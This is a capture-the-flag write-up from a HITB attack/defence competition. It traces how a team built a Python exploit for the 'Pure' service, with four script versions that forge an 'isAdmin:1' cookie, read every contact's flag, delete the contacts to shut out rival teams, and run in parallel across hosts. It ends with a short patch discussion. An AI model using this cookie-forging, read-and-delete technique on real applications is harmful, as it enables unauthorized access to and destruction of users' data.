Pure Challenge Writeup
The official writeup from the organizers is available here. I’m going to let that cover the technical details of the vulnerability as in this writeup I want to focus on the development of the exploit.
Initially we got the payload from analysing Tulip logs. We noticed someone with the cookie settings=isAdmin:1
could read any contact on the platform. The contact ids for the flags are given to us by the A/D API. Another notable thing about this challenge is that attackers are able to delete the contact/flag. This means that only the first attacker (and others if they are lucky) will get the points so speed is a necessity for this exploit script to be successful.
Here is the first iteration of the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
import os
import requests
import re
import string
import random
import json
host = os.getenv("TARGET_IP")
flag_ids = json.loads(os.getenv("TARGET_EXTRA", "{}"))
def gen_rand():
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(20))
for flag_id in flag_ids:
s = requests.Session()
data = {
"username": gen_rand(),
"password": gen_rand()
}
try:
r = s.post(f"https://{host}/register", data=data)
s.cookies.set("settings", "isAdmin:1", domain=host)
r = s.get(f"https://{host}/edit/{flag_id}")
flag = re.findall(r"TEAM\d{3}_[A-Z0-9]{32}", r.text)[0]
print(flag)
except:
pass
We used ataka during this CTF to manage our exploits. This gives the target and target info to our script as env variables and automates the repeated running of the exploit across the different targets. Ataka ingests the flags and submits them by using a regex on the script output.
Here is the second iteration of the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3
import os
import requests
import re
import string
import random
import time
host = os.getenv("TARGET_IP")
def gen_rand():
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(20))
s = requests.Session()
s.cookies.set("settings", "isAdmin:1", domain=host)
data = {
"username": gen_rand(),
"password": gen_rand()
}
r = s.post(f"https://{host}/register", data=data)
#r = s.get(f"https://{host}/") -- this line is not needed as the register request follows the redirect and returns the same information
ids = list(set(re.findall(r"[a-f0-9]{24}", r.text)))
while len(ids)==0:
time.sleep(3)
r = s.get(f"https://{host}/")
ids = list(set(re.findall(r"[a-f0-9]{24}", r.text)))
for id in ids:
r = s.get(f"https://{host}/edit/{id}")
flags = re.findall(r"TEAM\d{3}_[A-Z0-9]{32}", r.text)
for flag in flags:
print(flag)
for id in ids:
r = s.get(f"https://{host}/delete/{id}")
The first change we made was to avoid using the flag_ids data. Often it would be outdated when you attempt to use it as the flags will already be deleted. Instead we relied on the index of the app when viewed with the cookie, this showed all contacts from the application.
If no contacts are on the app we wait 3 seconds and try again and keep doing so until one does appear. This is good because we avoid losing time rerunning the script and registering a new account.
When we have ids from the index we check all of them straight away. Only after we have checked them do we make the delete requests, preventing others from getting the points comes after we’ve secured points ourselves.
Third iteration:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python3
import os
import requests
import re
import string
import random
import time
from sys import argv
host=argv[1]
def gen_rand():
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(20))
s = requests.Session()
s.cookies.set("settings", "isAdmin:1", domain=host)
data = {
"username": gen_rand(),
"password": gen_rand()
}
r = s.post(f"https://{host}/register", data=data)
ids = list(set(re.findall(r"[a-f0-9]{24}", r.text)))
counter = 0
while len(ids)==0:
counter+=1
if counter==100:
print(f"{host} is patched?")
exit()
time.sleep(2)
r = s.get(f"https://{host}/")
ids = list(set(re.findall(r"[a-f0-9]{24}", r.text)))
all_flags = []
for id in ids:
r = s.get(f"https://{host}/edit/{id}")
flags = re.findall(r"TEAM\d{3}_[A-Z0-9]{32}", r.text)
for flag in flags:
all_flags.append(flag)
for flag in all_flags:
print(flag)
os.system(f"../atk flag submit {flag}")
for id in ids:
r = s.get(f"https://{host}/delete/{id}")
One of the disadvantages of using ataka to run the exploit is that it wont run against all the hosts in parallel, only a subset (idk how many) so instead we avoided using ataka to run this one and instead chose to run it with xargs:
1
2
3
4
echo "python3 pure3.py $1 > out/$1 2>&1" > pure.sh
chmod +x pure.sh
mkdir out
cat pure_hosts.txt | xargs -n1 -P100 ./pure.sh
We also added a counter to the while loop to try and weed out servers that were no longer vulnerable and stop them wasting server resources. Because we no longer used ataka for handling running the exploit we needed to submit flags a different way. I chose to invoke the atk file provided to do that but this is very slow. However overall its not too negative on our exploit - if we get to that point we’ve won a race for flags already.
This exploit doesn’t loop as it was intended to just identify what servers were still vulnerable. The next version simply wrapped the exploit in an infinite while loop with a try except to avoid crashing to random http errors.
Final exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/python3
import json
import logging
import re
import requests
import time
import string
import random
import time
from sys import argv
logger = logging.getLogger()
CHECKSYSTEM_TOKEN = "CHECKSYSTEM_000_00000000000000000000000000000000"
API_HOST = "https://ctf.hitb.org"
flag_regex = re.compile(r"TEAM[0-9]*_[A-Z0-9]{32}")
id_regex = re.compile(r"[a-f0-9]{24}")
seen = set()
def submit_flags(flags):
flags = list(set(flags).difference(seen))
seen.update(flags)
if len(flags)==0:
return
logger.error(f"SUBMITTING {json.dumps(flags)}")
try:
data = requests.put(f"{API_HOST}/flags",headers={'X-Team-Token':CHECKSYSTEM_TOKEN},json=flags).json()
except:
time.sleep(5)
submit_flags(flags)
return
flag_count = len(data)
accepted_count = 0
for x in data:
if "Accepted" in x['msg']:
accepted_count+=1
logger.error(f"Accepted flags: {accepted_count}, Denied flags: {flag_count-accepted_count}")
return
script,host = argv
def gen_rand():
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(20))
while True:
s = requests.Session()
s.cookies.set("settings", "isAdmin:1", domain=host)
data = {"username": gen_rand(),"password": gen_rand()}
try:
r = s.post(f"https://{host}/register", data=data)
ids = list(set(id_regex.findall(r.text)))
counter = 0
while len(ids)==0:
counter+=1
if counter==100:
print(f"{host} is patched?")
exit()
time.sleep(2)
r = s.get(f"https://{host}/")
ids = list(set(id_regex.findall(r.text)))
all_flags = []
for id in ids:
r = s.get(f"https://{host}/edit/{id}")
flags = flag_regex.findall(r.text)
for flag in flags:
all_flags.append(flag)
for id in ids:
r = s.get(f"https://{host}/delete/{id}")
submit_flags(all_flags)
except Exception as e:
print(e)
By now we have narrowed down the list of hosts to the ones still vulnerable. For the final version we handle the flag submission in the script instead of the slow os.system()
call we were doing earlier. We register a new account in the while loop after we’ve submitted some flags just in case our account gets deleted or cookie firewalled by the defending server. We use precompiled regexes for a minor performance improvement. We also have logging so we can watch the flags roll in!
One potential speed difference as well is that we were running this on the empty server provided by the CTF organisers so we would have less network latency than teams running an exploit on a remote server over the VPN.
We were late to get an exploit running on this service but by the end we had collected the most flags from this service with it so all the speed improvements had a big impact.
Patch
The exploit relies on knowing the name for value in the cookie (isAdmin
) so we just changed every instance of isAdmin
to superSecretAdmin
and that was enough to not get hacked for the rest of the competition.
A better patch would be checking if req.headers['verified'] == 'SUCCESS'
every time isAdmin is checked.
Cool Graphs
HITB were nice enough to send a JSON file with the scoreboard data so I could make some graphs of the flags being stolen on the pure service.
In these graphs you can see the point at which the exploit was actually getting us flags, some point near the end the exploit must have stopped working (I didnt know this until I made the graph!). It’s also interesting that other teams were still getting some flags, this could be attributed to some patches maybe breaking my exploit that didnt affect others or maybe my method of weeding out patched instances was a bit inaccurate (ignoring ones where I dont get flags in 5mins). This could have been improved with a better check by adding our own contact and seeing if we could access it with another account. Maybe some teams changed the index we relied on and we couldn’t extract ids. Sometimes our exploit might be unlucky with timings or teams get the flag between us grabbing them and deleting them so we share the flag.
Conclusion
Thanks to the HITB Phuket team for running this A/D CTF, it was a lot of fun and we learned a lot.